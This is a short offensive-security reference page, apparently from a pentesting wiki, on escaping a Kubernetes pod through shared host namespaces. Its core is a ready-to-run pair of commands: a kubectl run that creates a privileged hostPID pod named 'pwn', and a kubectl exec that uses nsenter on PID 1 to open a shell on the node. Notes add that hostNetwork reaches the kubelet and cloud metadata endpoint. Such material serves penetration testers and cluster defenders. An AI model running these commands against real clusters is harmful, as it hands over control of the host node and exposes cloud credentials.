A pod can request the node's namespaces with hostPID, hostNetwork, or hostIPC. hostPID exposes every node process for nsenter or injection; hostNetwork puts the pod on the node's interfaces, reaching the kubelet and metadata service; hostIPC exposes node shared memory.

# A pod with hostPID can enter node process namespaces
kubectl run pwn --image=alpine --overrides='{"spec":{"hostPID":true,"containers":[{"name":"c","image":"alpine","securityContext":{"privileged":true},"command":["sleep","1d"]}]}}'
kubectl exec -it pwn -- nsenter --target 1 --mount --pid -- sh

Exploitation notes#

• The breakout is the generic Shared host namespaces; the pod spec requests the sharing.
• hostNetwork alone reaches the kubelet and the cloud metadata endpoint even when the pod network blocks them, see Cloud metadata from pod.
• hostPID with nsenter needs the privileged or CAP_SYS_ADMIN context to enter the mount namespace.

References#

• Kubernetes: security context
• Kubernetes: Pod Security Standards